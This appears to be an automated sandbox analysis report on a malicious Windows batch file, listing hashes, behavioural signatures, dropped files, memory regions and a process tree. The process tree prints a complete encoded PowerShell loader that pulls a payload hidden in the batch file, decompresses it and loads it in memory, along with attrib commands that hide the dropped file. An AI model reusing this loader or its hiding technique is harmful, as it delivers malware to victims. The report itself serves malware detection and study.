Analysis

  • max time kernel
    137s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2024 19:11

General

  • Target

    New folder/8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat

  • Size

    2.1MB

  • MD5

    a5a4c0545136eb52dd37437623238dd6

  • SHA1

    3b8864445bac90d1ce0e4ff9b9bb8641728371d1

  • SHA256

    8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df

  • SHA512

    69b7d50551e7352d131390e1d70b74568e7ad4b7e66eebb8217aa22bd694249495f8933aa9fe14514d2f2ba039fee95e0090407369c84fd09003cd8f075a05a8

  • SSDEEP

    49152:HV/aYoonKuRO7Ci2BBVvI/W1yLNh+lMcs:y

Score
8/10

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\system32\attrib.exe
      attrib +s +h "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat".exe
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:3724
    • C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1916
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        3⤵
          PID:3792
      • C:\Windows\system32\attrib.exe
        attrib -s -h "C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat".exe
        2⤵
        • Views/modifies file attributes
        PID:5260

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\New folder\8a4b9fbacd8e070cdef780edf587a22f93e4d0a2d11f99637b53cf64596699df.bat.exe

      Filesize

      442KB

      MD5

      04029e121a0cfa5991749937dd22a1d9

      SHA1

      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

      SHA256

      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

      SHA512

      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nsof1jje.ogt.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1916-4-0x00007FFD99713000-0x00007FFD99715000-memory.dmp

      Filesize

      8KB

    • memory/1916-5-0x00007FFD99710000-0x00007FFD9A1D1000-memory.dmp

      Filesize

      10.8MB

    • memory/1916-16-0x00007FFD99710000-0x00007FFD9A1D1000-memory.dmp

      Filesize

      10.8MB

    • memory/1916-11-0x000002A67D660000-0x000002A67D682000-memory.dmp

      Filesize

      136KB

    • memory/1916-17-0x000002A67FD10000-0x000002A67FF44000-memory.dmp

      Filesize

      2.2MB

    • memory/1916-18-0x000002A618000000-0x000002A61819E000-memory.dmp

      Filesize

      1.6MB

    • memory/1916-19-0x000002A67FC30000-0x000002A67FCEE000-memory.dmp

      Filesize

      760KB

    • memory/1916-20-0x000002A67D710000-0x000002A67D7A2000-memory.dmp

      Filesize

      584KB

    • memory/1916-1781-0x00007FFD99710000-0x00007FFD9A1D1000-memory.dmp

      Filesize

      10.8MB

    • memory/3792-21-0x0000000000400000-0x00000000004C6000-memory.dmp

      Filesize

      792KB

    • memory/3792-24-0x00007FFD99710000-0x00007FFD9A1D1000-memory.dmp

      Filesize

      10.8MB

    • memory/3792-26-0x00007FFD99710000-0x00007FFD9A1D1000-memory.dmp

      Filesize

      10.8MB

    • memory/3792-25-0x000001DA24E20000-0x000001DA24F1C000-memory.dmp

      Filesize

      1008KB

    • memory/3792-27-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-40-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-38-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-48-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-84-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-78-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-76-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-82-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-88-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-86-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-80-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-74-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-70-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-68-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-67-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-64-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-60-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-58-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-56-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-54-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-52-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-72-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-62-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-50-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-46-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-44-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-42-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-36-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-34-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-32-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-30-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-28-0x000001DA24E20000-0x000001DA24F18000-memory.dmp

      Filesize

      992KB

    • memory/3792-2354-0x000001DA24F20000-0x000001DA24F92000-memory.dmp

      Filesize

      456KB

    • memory/3792-2355-0x000001DA24F90000-0x000001DA25000000-memory.dmp

      Filesize

      448KB

    • memory/3792-2356-0x00007FFD99710000-0x00007FFD9A1D1000-memory.dmp

      Filesize

      10.8MB

    • memory/3792-2357-0x000001DA25040000-0x000001DA2508C000-memory.dmp

      Filesize

      304KB

    • memory/3792-2358-0x00007FFD99710000-0x00007FFD9A1D1000-memory.dmp

      Filesize

      10.8MB